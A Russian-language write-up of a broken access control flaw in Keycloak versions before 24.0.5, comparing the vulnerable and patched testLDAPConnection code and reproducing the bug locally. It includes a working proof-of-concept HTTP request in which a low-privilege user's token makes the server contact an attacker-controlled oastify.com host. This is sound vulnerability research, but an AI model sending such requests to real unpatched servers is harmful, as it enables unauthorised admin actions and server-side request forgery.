
API администратора Keycloak позволяет пользователям с низкими привилегиями использовать административные функции
Keycloak < 24.0.5 уязвим к нарушению контроля доступа (Broken Access Control), где атакующий может использовать любого аутентифицированного пользователя для выполнения некоторых действий API, таких как:
Меня заинтересовала только testLDAPConnection, где атакующий может взаимодействовать с LDAP на внешнем хосте.
Сначала загрузите уязвимую версию KeyCloak 24.0.4 отсюда https://www.keycloak.org/archive/downloads-24.0.4.html
Затем распакуйте Zip-файл и выполните команду bin/kc.sh start-dev

Теперь он будет запущен на localhost:8080. Создайте новую учётную запись администратора, затем войдите в эту учётную запись.
Теперь создайте новый Realm для обычных пользователей, затем создайте пользователя с правами обычного пользователя в этом realm.

Основываясь на коммите, исправляющем уязвимость «Отсутствие проверок авторизации в некоторых конечных точках администратора» https://github.com/keycloak/keycloak/commit/d9f0c84b797525eac55914db5f81a8133ef5f9b1
мы видим, что были изменены 3 файла:
Анализ изменения кода в TestLdapConnectionResource.java:
(Уязвимый код):
public Response testLDAPConnection(TestLdapConnectionRepresentation config) {
try {
LDAPServerCapabilitiesManager.testLDAP(config, session, realm);
return Response.noContent().build();
}
// Обработка исключений...
}
Здесь не было проверки разрешений. Любой аутентифицированный пользователь мог вызвать testLDAPConnection и выполнить тесты LDAP, что является административным действием.
(Исправленный код):
public Response testLDAPConnection(TestLdapConnectionRepresentation config) {
auth.realm().requireManageRealm(); // Добавлена проверка разрешений
try {
LDAPServerCapabilitiesManager.testLDAP(config, session, realm);
return Response.noContent().build();
}
// Обработка исключений...
}

Строка auth.realm().requireManageRealm(); была добавлена для проверки, есть ли у пользователя права администратора (роль manage_realm) в этом realm.
Это означает, что любой пользователь любого realm может отправить запрос на /admin/realms/users/testLDAPConnection.
Теперь в новом браузере откройте ссылку http://localhost:8080/realms/users/protocol/openid-connect/auth?client_id=account-console
Войдите под созданным вами пользователем, затем получите authorization: Bearer <>
Отправьте HTTP-запрос к уязвимой конечной точке:
POST /admin/realms/users/testLDAPConnection HTTP/1.1
Host: dzdz.me:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
authorization: Bearer <xxxx>
content-type: application/json
Content-Length: 265
Origin: http://dzdz.me:8080
Connection: close
{
"action": "testConnection",
"connectionUrl": "ldap://xxxxxxxxxxxxxxxxxxxxxxx.oastify.com",
"bindDn": "cn=admin,dc=example,dc=com",
"bindCredential": "password",
"useTruststoreSpi": "ldapsOnly",
"connectionTimeout": "5000"
}
В параметре connectionUrl укажите ваш внешний хост и отправьте запрос.
Затем вы получите DNS-взаимодействие.

То же самое можно применить к getUnmanagedAttributes и getProviders.
Ссылки: https://github.com/keycloak/keycloak/commit/d9f0c84b797525eac55914db5f81a8133ef5f9b1 https://github.com/advisories/GHSA-2cww-fgmg-4jqc